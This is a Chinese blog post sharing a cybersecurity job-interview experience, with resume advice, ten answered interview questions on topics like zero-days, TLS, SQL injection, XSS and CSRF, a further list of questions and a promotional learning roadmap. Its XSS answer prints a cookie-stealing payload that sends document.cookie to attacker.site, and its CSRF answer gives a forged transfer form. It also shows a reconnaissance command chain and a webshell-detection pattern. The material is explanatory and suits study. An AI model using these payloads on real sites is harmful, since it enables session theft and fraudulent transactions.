前言
本文主要分享我的网络安全岗位面试经历,希望对准备求职的同学有所帮助。先简单说下面试前的背景:2023年3月入职奇安信集团安全研究岗,主攻渗透测试方向。
篇幅可能稍长,大家多包涵哈。
简历
我的简历用Markdown编写,包含以下模块:
- 基础信息(邮箱必填且高频查看!初期因漏查邮箱错过3场面试通知)
- 技术证书(CISSP/CEH等)
- 攻防技能
- 项目经历
- 漏洞挖掘成果
📌 现场面试务必带纸质简历+U盘(存PoC代码/渗透报告)。既能展示最新成果,也让面试官感受到专业态度。
技术能力书写要避坑(示例):
- 精通BurpSuite、Metasploit工具链 - 熟悉OWASP Top 10漏洞原理与防御 - 掌握内网渗透路径分析三大原则:
1️⃣ 忌堆砌生疏技术(如写"了解区块链安全"却被深问共识算法)
2️⃣ 关键能力前置呈现(如"独立挖掘CNVD高危漏洞3个"直接加粗)
3️⃣ 项目经历优先选用有完整渗透报告的案例
📌 文末附我的简历模板,含红队演练项目脱敏描述
投递时别被招聘要求吓退!某次见岗位要求"精通APT攻击溯源",我实诚回复仅接触过蜜罐分析,反被面试官鼓励:“我们需要的就是懂基础肯钻研的人”
面试实战
共投递5家企业:360安全、阿里云安全、绿盟、腾讯玄武、某金融安全团队。360止于终面,腾讯挂在渗透实操题,最终收获2个offer。
📌 建议先投安服公司练手(如某公司现场给VPN配置题考察应急响应)
面试避坑指南:
- ⚡ 遇原理题勿硬猜(如问"Kerberos协议如何绕过",答错不如直接说"需查资料确认")
- ⚡ 答漏洞类问题必备三要素:复现步骤+风险评级+修复方案(如SSRF漏洞要讲透gopher协议利用)
- ⚡ 工具使用需关联场景(例:提到Sqlmap需补充"曾在XX项目中通过tamper脚本绕过WAF")
- ⚡ 被问"擅长方向"时:技术栈+实战成果组合回答(如"专注Web安全,曾通过逻辑漏洞发现XX系统垂直越权")
- ⚡ 每次面试后记录攻击链问题(某次被问"从外网到域控的完整路径"未答全,下次重点准备)
态度注意点:
✅ 解释漏洞时主动画攻击示意图(面试官桌上有白板直接起身画)
✅ 对未知攻击手法保持坦诚:“该方向我尚未深入研究”
✅ 反问环节必问:“团队当前主攻的攻防方向是什么?”
附录:面试高频题摘录
题目001:什么是零日漏洞(Zero-Day Vulnerability)?举例说明其危害性。
点评:基础概念题考察漏洞认知深度,需明确漏洞生命周期三个关键节点:未公开→无补丁→攻击窗口期。建议结合历史事件说明攻击链条。
核心要点:
定义:厂商未知且无补丁的软件漏洞
危害示例:
#mermaid-svg-QMuJN1AYqiC12GVY {font-family:“trebuchet ms”,verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-QMuJN1AYqiC12GVY .error-icon{fill:#552222;}#mermaid-svg-QMuJN1AYqiC12GVY .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-QMuJN1AYqiC12GVY .edge-thickness-normal{stroke-width:2px;}#mermaid-svg-QMuJN1AYqiC12GVY .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-QMuJN1AYqiC12GVY .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-QMuJN1AYqiC12GVY .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-QMuJN1AYqiC12GVY .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-QMuJN1AYqiC12GVY .marker{fill:#333333;stroke:#333333;}#mermaid-svg-QMuJN1AYqiC12GVY .marker.cross{stroke:#333333;}#mermaid-svg-QMuJN1AYqiC12GVY svg{font-family:“trebuchet ms”,verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-QMuJN1AYqiC12GVY .label{font-family:“trebuchet ms”,verdana,arial,sans-serif;color:#333;}#mermaid-svg-QMuJN1AYqiC12GVY .cluster-label text{fill:#333;}#mermaid-svg-QMuJN1AYqiC12GVY .cluster-label span{color:#333;}#mermaid-svg-QMuJN1AYqiC12GVY .label text,#mermaid-svg-QMuJN1AYqiC12GVY span{fill:#333;color:#333;}#mermaid-svg-QMuJN1AYqiC12GVY .node rect,#mermaid-svg-QMuJN1AYqiC12GVY .node circle,#mermaid-svg-QMuJN1AYqiC12GVY .node ellipse,#mermaid-svg-QMuJN1AYqiC12GVY .node polygon,#mermaid-svg-QMuJN1AYqiC12GVY .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-QMuJN1AYqiC12GVY .node .label{text-align:center;}#mermaid-svg-QMuJN1AYqiC12GVY .node.clickable{cursor:pointer;}#mermaid-svg-QMuJN1AYqiC12GVY .arrowheadPath{fill:#333333;}#mermaid-svg-QMuJN1AYqiC12GVY .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-svg-QMuJN1AYqiC12GVY .flowchart-link{stroke:#333333;fill:none;}#mermaid-svg-QMuJN1AYqiC12GVY .edgeLabel{background-color:#e8e8e8;text-align:center;}#mermaid-svg-QMuJN1AYqiC12GVY .edgeLabel rect{opacity:0.5;background-color:#e8e8e8;fill:#e8e8e8;}#mermaid-svg-QMuJN1AYqiC12GVY .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-svg-QMuJN1AYqiC12GVY .cluster text{fill:#333;}#mermaid-svg-QMuJN1AYqiC12GVY .cluster span{color:#333;}#mermaid-svg-QMuJN1AYqiC12GVY div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:“trebuchet ms”,verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-svg-QMuJN1AYqiC12GVY :root{–mermaid-font-family:“trebuchet ms”,verdana,arial,sans-serif;}
Stuxnet蠕虫
利用Windows LNK漏洞
伊朗核设施离心机损毁
缓解方案:启发式检测+虚拟沙箱
扩展:零日漏洞交易已成黑市核心业务,参考Vulnerability Equities Process政府漏洞保留政策争议。防御需建立威胁情报联动机制。
题目002:HTTPS握手过程中如何验证证书有效性?
点评:TLS/SSL基础题,需展示证书链验证全流程。区分OCSP与CRL两种吊销检查机制是关键加分项。
验证流程:
# 证书验证伪代码 def verify_cert(cert): if not cert_chain_validation(cert.root_CA): # 证书链信任验证 raise CertificateError("Untrusted CA") if check_crl(cert.serial) or ocsp_check(cert): # 吊销状态检查 raise CertificateError("Revoked certificate") if cert.hostname != current_domain: # 域名匹配检查 raise CertificateError("Hostname mismatch")补充:证书透明化(Certificate Transparency)可对抗恶意CA签发,浏览器要求CT日志记录所有证书。
题目003:简述SQL注入原理及给出至少三种防御方案。
点评:OWASP TOP 10必考题,需区分防御层级(代码/架构/运维)。避免仅答参数化查询的片面回答。
防御体系:
| 层级 | 措施 | 技术示例 |
|---|---|---|
| 代码层 | 输入过滤 | 白名单正则[a-zA-Z0-9_]+ |
| 架构层 | 查询分离 | ORM框架/SQL模板引擎 |
| 运行时 | 行为监控 | WAF的SQLi特征检测 |
| 数据层 | 权限最小化 | 数据库只读账号 |
延伸:二阶SQL注入更危险,即首次存储时无害但后续拼接触发漏洞。建议使用存储过程隔离动态SQL。
题目004:XSS攻击如何窃取用户Cookie?给出DOM型案例。
点评:考察Web安全核心漏洞原理,需区分反射型/存储型/DOM型三类XSS的攻击链差异。
攻击实现流程:
// 恶意脚本示例(DOM型) http://victim.site/search?term=<script> let img=new Image(); img.src=`http://attacker.site/steal?cookie=${encodeURIComponent(document.cookie)}`; </script> // 攻击者服务器记录 GET /steal?cookie=sessionid=ABCDEF123456- 注入路径:未过滤的URL参数直接写入DOM
- 窃取机制:Image对象跨域请求携带Cookie
- 防御缺口:HttpOnly Cookie可阻止读取但无法完全防御DOM操作
扩展:现代攻击更多使用
<script src="//attacker.site/xss.js">外链脚本绕过长度限制。防御需三重加固:
- 输入过滤:过滤
< > " ' &等特殊字符- 输出编码:根据输出位置选用HTML/URL/JS编码
- CSP策略:
Content-Security-Policy: default-src 'self'
题目005:CSRF Token校验机制在什么场景下会失效?
点评:鉴别CSRF防御机制盲点,涉及跨域策略与实现漏洞组合利用。
失效场景及原理:
| 场景 | 失效原因 | 案例 |
|---|---|---|
| 子域漏洞 | 同源策略宽松 | *.company.com范围Token可跨子域共用 |
| JSON API | 未防范JSON劫持 | <script src="https://api.site/userdata"></script> |
| 缓存污染 | 浏览器缓存Token | 登录态过期但缓存Token仍有效 |
| CORS误配 | Access-Control-Allow-Origin: * | 攻击域直接获取Token |
实验复现:
<!-- 攻击页面利用跨域请求 --> <form action="https://bank.com/transfer" method="POST"> <input type="hidden" name="to" value="attacker_account"> <script> fetch('https://bank.com/get_token') .then(r => r.text()) .then(token => { document.forms[0].innerHTML += `<input type=hidden name=csrf_token value=${token}>`; document.forms[0].submit(); }); </script> </form>加固方案:
- SameSite Cookie设置为
Strict或Lax- 敏感操作添加二次验证(短信/生物识别)
- 校验Origin头:
if request.headers['Origin'] not in ALLOW_ORIGINS
题目006:TLS1.3相比1.2的主要安全改进是什么?
点评:需展示协议层安全增强的底层设计思想,重点对比性能与安全的平衡。
核心改进矩阵:
| 特性 | TLS1.2 | TLS1.3 | 安全增益 |
|---|---|---|---|
| 握手协议 | 2-RTT | 1-RTT/0-RTT | 减少中间人攻击窗口 |
| 密码套件 | 支持弱算法 | 仅AEAD加密套件 | 消除CBC填充攻击风险 |
| 密钥协商 | 静态RSA支持 | 完全前向安全(FS) | 长期密钥泄露不影响历史数据 |
| 重协商 | 允许 | 禁止 | 防止降级攻击 |
协议简析:
含supported_versions扩展仅FS算法列表总往返1次ClientHelloServerHello密钥交换+Finished加密通信
风险提示:0-RTT虽提速但存在重放攻击风险,需通过:
- 时间戳限制:
timestamp within 5s- 单次令牌:服务端记录一次性Nonce
- 高风险操作禁用0-RTT
题目007:描述渗透测试中OSINT信息收集的5种方法。
点评:考察攻击面测绘能力,需体现自动化工具与人工情报的结合。
高效信息收集矩阵:
| 方法 | 工具示例 | 目标信息 |
|---|---|---|
| 域名爆破 | Sublist3r | 发现隐藏子域(sub.target.com) |
| SSL证书解析 | crt.sh | 关联多域名证书 |
| 历史页面快照 | WaybackMachine | 被删除的敏感路径 |
| GitHub代码扫描 | truffleHog | 硬编码API密钥/凭证 |
| ASN归属查询 | whois.radb.net | IP段映射到子公司 |
自动化流程示例:
# 信息收集链 sublist3r -d target.com | tee subdomains.txt httprobe < subdomains.txt | gau | grep '\.php$' waybackurls target.com | gf sqli > potential_injections.txt情报进阶:LinkedIn员工信息收集 → 制作鱼叉式钓鱼字典。防御建议:
- 公开文档去元数据
- GitHub敏感扫描自动化
- 域名注册开启隐私保护
题目008:WAF如何识别WebShell行为特征?
点评:需拆解基于规则/行为/语义的三层检测机制。
检测特征维度:
# WebShell典型特征识别模型 def is_webshell(file_content): # 规则层:敏感函数黑名单 if re.search(r'(system|exec|shell_exec)\(', file_content): return True # 行为层:异常参数传递 if '$_GET["cmd"]' in file_content and 'eval(' in file_content: return True # 语义层:文件结构异常 if not has_normal_html(file_content) and '<?php' in file_content: return True return False绕过与反绕过:
| 攻击手法 | 对抗措施 |
|---|---|
| 分段混淆 | $a="sy";$b="stem";$c=$a.$b; |
| 图片马 | EXIF注入恶意代码 |
| 反射Shell | 加密流量回调 |
现代方案:RASP注入检测引擎,基于JavaAgent/PHP扩展实现运行时监控:
- Hook文件系统函数记录异常文件操作
- 关联命令执行与HTTP请求触发点
- 机器学习识别异常函数调用链
题目009:AES-GCM加密模式如何保证完整性和机密性?
点评:需揭示认证加密(AEAD)机制的数学原理。
加密流程与安全机制:
明文PAES-CTR加密密文C附加数据AGHASH计算认证标签输出C+标签T
安全保证数学基础:
- 机密性:CTR模式流加密,满足CPA安全性
C_i = P_i ⊕ AES(Key, Nonce||i) - 完整性:GHASH多项式哈希算法
T = GHASH(H, A, C) ⊕ AES(Key, Nonce||0)
H为AES对全零块的加密结果
参数警示:
- Nonce重用导致流密钥重复 → 加密等价于明文异或
- 12字节Nonce是黄金标准
- 标签长度建议128位防御生日攻击
题目010:企业级防火墙策略的「默认拒绝」原则如何实施?
点评:需展示四层过滤逻辑与网络分区实践。
企业级实施方案:
# 防火墙规则优先级框架 (iptables示例) *filter :INPUT DROP # 默认拒绝入站 :FORWARD DROP # 默认拒绝转发 :OUTPUT ACCEPT # 出站宽松政策 # 白名单放行规则 -A INPUT -p tcp --dport 443 -j ACCEPT # HTTPS -A INPUT -s 10.0.1.0/24 -j ACCEPT # 内网管理段 # 状态检测建立会话追踪 -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT网络分区模型:
流量流向策略:
- 用户 → DMZ:允许HTTP/HTTPS
- DMZ → Internal:仅允许到DB的3306端口
- Internal → 外网:仅允许域名解析+安全更新
进阶控制:
- 应用识别:通过DPI实现应用层控制
- 时段策略:工作时间外阻断高危端口
- 威胁情报联动:自动封禁恶意IP
复制
undefined由于篇幅过长,整体的面试题答案以及解析放在文末了,以下仅为面试题展示
题目011:心脏滴血漏洞(Heartbleed)的OpenSSL实现原理
题目012:DDoS攻击中放大攻击的技术原理
题目013:PKI体系中CRL与OCSP的性能对比
题目014:Linux系统下SUID提权攻击的防御方案
题目015:Wi-Fi WPA3协议对KRACK攻击的修复机制
题目016:Kerberos认证的「黄金票据」攻击原理
题目017:云环境下Container Escape的实现路径
题目018:如何检测ARP欺骗攻击?
题目019:沙箱逃逸(Sandbox Escape)的常见方法
题目020:SDL安全开发生命周期中的威胁建模流程
题目021:区块链智能合约的重入攻击防御
题目022:基于内存保护的DEP/NX技术原理
题目023:邮件安全的SPF/DKIM/DMARC验证机制
题目024:内网渗透中的横向移动技术
题目025:ETW(事件跟踪)在威胁检测中的应用
题目026:VPN技术中IPSec与SSL/TLS的实现差异
题目027:内存破坏漏洞中的ASLR绕过方法
题目028:云安全的责任共担模型边界划分
题目029:免杀技术中API混淆的实现路径
题目030:供应链攻击的检测难点与方案
题目031:JWT令牌的安全校验要点
题目032:SAML单点登录的报文伪造风险
题目033:僵尸网络C&C服务器的隐蔽通信技术
题目034:ATT&CK框架中的TTPs是指什么?
题目035:同源策略与CORS的访问控制关系
题目036:可信计算中的远程证明机制
题目037:EDR系统行为检测的误报调优
题目038:Windows认证中的Pass-the-Hash攻击
题目039:网络钓鱼攻击的邮件头伪造检测
题目040:水坑攻击(Watering Hole)的防御体系
题目041:安全组与ACL的网络访问控制差异
题目042:容器镜像的漏洞扫描策略
题目043:中间人攻击中的SSL剥离实现
题目044:RASP技术相比WAF的优势
题目045:Linux系统的SELinux策略开发
题目046:模糊测试(Fuzzing)的崩溃分析流程
题目047:密钥管理系统中HSM的应用价值
题目048:日志审计中的异常行为检测算法
题目049:红蓝对抗中的AD域渗透手法
题目050:区块链51%算力攻击的预防机制
面试网络安全岗位时,技术问题往往决定成败!本文整理了最新、最高频的网络安全面试题,涵盖网络协议、网络安全、Web安全、渗透测试、SRC漏洞挖掘、HW等核心领域,助你顺利拿下Offer!
网络安全学习路线&学习资源![]()
网络安全的知识多而杂,怎么科学合理安排?
下面给大家总结了一套适用于网安零基础的学习路线,应届生和转行人员都适用,学完保底6k!就算你底子差,如果能趁着网安良好的发展势头不断学习,日后跳槽大厂、拿到百万年薪也不是不可能!
初级网工
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k
到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?
【“脚本小子”成长进阶资源领取】
7、脚本编程(初级/中级/高级)
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.
零基础入门,建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习; 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime; ·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完; ·用Python编写漏洞的exp,然后写一个简单的网络爬虫; ·PHP基本语法学习并书写一个简单的博客系统; 熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选); ·了解Bootstrap的布局或者CSS。
8、超级网工
这部分内容对零基础的同学来说还比较遥远,就不展开细说了,贴一个大概的路线。感兴趣的童鞋可以研究一下,不懂得地方可以【点这里】加我耗油,跟我学习交流一下。
网络安全工程师企业级学习路线
如图片过大被平台压缩导致看不清的话,可以【点这里】加我耗油发给你,大家也可以一起学习交流一下。
一些我自己买的、其他平台白嫖不到的视频教程:
需要的话可以扫描下方卡片加我耗油发给你(都是无偿分享的),大家也可以一起学习交流一下。
网络安全学习路线&学习资源![]()
结语
网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。
特别声明:
此教程为纯技术分享!本书的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本书的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失!!!